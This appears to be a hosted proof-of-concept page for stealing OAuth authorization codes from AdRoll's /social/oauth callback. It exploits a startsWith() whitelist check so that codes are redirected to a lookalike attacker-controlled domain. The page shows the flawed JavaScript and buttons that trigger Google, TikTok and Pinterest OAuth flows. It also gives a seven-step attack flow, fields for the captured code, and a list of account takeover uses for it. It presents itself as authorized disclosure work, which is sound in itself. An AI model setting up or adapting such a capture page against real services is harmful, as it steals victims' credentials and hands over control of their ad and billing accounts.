AdRoll OAuth Code Theft PoC HIGH

startsWith() bypass on /social/oauth — hosted on app.adroll.com.nirvanahub.com (attacker-controlled)

Authorized security testing only. This page captures OAuth authorization codes redirected via the startsWith() whitelist bypass in AdRoll's social integration callback.

Vulnerability

The /social/oauth SPA validates the state parameter with startsWith():

var whitelist = ["https://app.adroll.com", ...];
if (whitelist.some(function(e) { return state.startsWith(e); })) {
    window.location.href = state + "?code=" + code;  // redirects to attacker
}

"https://app.adroll.com.nirvanahub.com".startsWith("https://app.adroll.com")true

Trigger OAuth Flow

Click a button to start the OAuth flow. The state parameter points to this attacker page. After the victim authenticates, AdRoll's SPA will redirect the OAuth code here.

Connect Google Ads Connect TikTok Ads Connect Pinterest Ads

Waiting for OAuth redirect with authorization code...

Captured OAuth Authorization Code

Authorization Code (stolen)

State Parameter

Full Redirect URL

Capture Timestamp
What an attacker can do with this code
  • Exchange it at AdRoll's token endpoint for an access/refresh token
  • Gain full API access to the victim's linked ad account (Google/TikTok/Pinterest)
  • Read campaigns, audiences, spend data, billing info
  • Modify or create ad campaigns on behalf of the victim

Attack Flow

1
Attacker points app.adroll.com.nirvanahub.com DNS to their server
2
Attacker sends victim a link that starts the OAuth flow with state=https://app.adroll.com.nirvanahub.com
3
Victim authenticates with OAuth provider (Google/TikTok/Pinterest)
4
Provider redirects to https://app.adroll.com/social/oauth?code=AUTH_CODE&state=https://app.adroll.com.nirvanahub.com
5
AdRoll SPA: state.startsWith("https://app.adroll.com")PASS
6
SPA redirects to https://app.adroll.com.nirvanahub.com?code=AUTH_CODE
7
Attacker captures the OAuth authorization code on this page